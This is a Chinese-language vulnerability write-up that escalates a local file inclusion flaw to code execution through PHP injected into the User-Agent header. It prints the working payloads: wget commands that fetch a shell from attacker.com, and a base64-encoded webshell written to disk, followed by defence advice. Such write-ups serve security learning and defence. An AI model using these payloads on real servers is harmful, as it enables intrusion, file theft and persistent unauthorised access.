挖洞经验 | 构造User-Agent请求头内容实现LFI到RCE提权
字数 1039 2025-08-15 21:32:22
从LFI到RCE提权:通过User-Agent构造实现漏洞利用
1. 漏洞发现与初步利用
1.1 发现LFI漏洞
目标网站存在本地文件包含(LFI)漏洞,通过pg参数可以读取服务器上的任意文件:
https://www.website.com/index.php?pg=contact.php
通过参数fuzzing发现可以读取系统文件:
https://www.website.com/index.php?pg=/etc/passwd
1.2 关键文件读取
利用LFI漏洞读取/proc/self/environ文件,该文件包含了当前进程的环境变量:
https://www.website.com/index.php?pg=/proc/self/environ
输出中包含HTTP_USER_AGENT等环境变量,这为后续利用提供了可能。
2. 从LFI到RCE的利用过程
2.1 初步尝试
尝试通过在User-Agent中注入PHP代码来执行命令:
- 使用system()方法:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
- 使用exec()方法:
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
- 测试phpinfo():
User-Agent: <?php phpinfo(); ?>
以上尝试均未成功。
2.2 成功利用的Payload
最终采用base64编码的webshell写入方法:
User-Agent: <?php
$a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg==');
$file = fopen('nadeshot.php','w');
echo fwrite($file,$a);
fclose($file);
?>
2.3 Payload解析
- 解码base64字符串为PHP webshell代码
- 创建名为
nadeshot.php的文件 - 将解码后的webshell写入该文件
- 关闭文件句柄
base64解码后的webshell是一个文件写入工具,源自GitHub项目:
https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php
3. 漏洞验证与利用
3.1 Webshell验证
访问写入的webshell文件:
https://website.com/nadeshot.php
3.2 文件写入测试
通过webshell写入测试文件nadeshot.txt,验证文件写入功能:
https://website.com/nadeshot.txt
4. 技术要点总结
- LFI漏洞识别:通过参数fuzzing发现文件包含漏洞
- 环境变量利用:通过
/proc/self/environ获取可利用的环境变量 - 代码注入:利用HTTP头(User-Agent)注入PHP代码
- 持久化方法:通过写入webshell实现持久化访问
- 编码技巧:使用base64编码绕过可能的过滤机制
5. 防御建议
- 禁用
/proc/self/environ等敏感文件的访问 - 对文件包含参数进行严格过滤
- 限制PHP代码在HTTP头中的执行
- 实施文件系统写权限的最小化原则
- 监控服务器上的异常文件创建行为
6. 参考资源
- PHP File Writer项目:https://github.com/alita-ido/PHP-File-Writer
- LFI到RCE的多种利用技术
/proc文件系统安全研究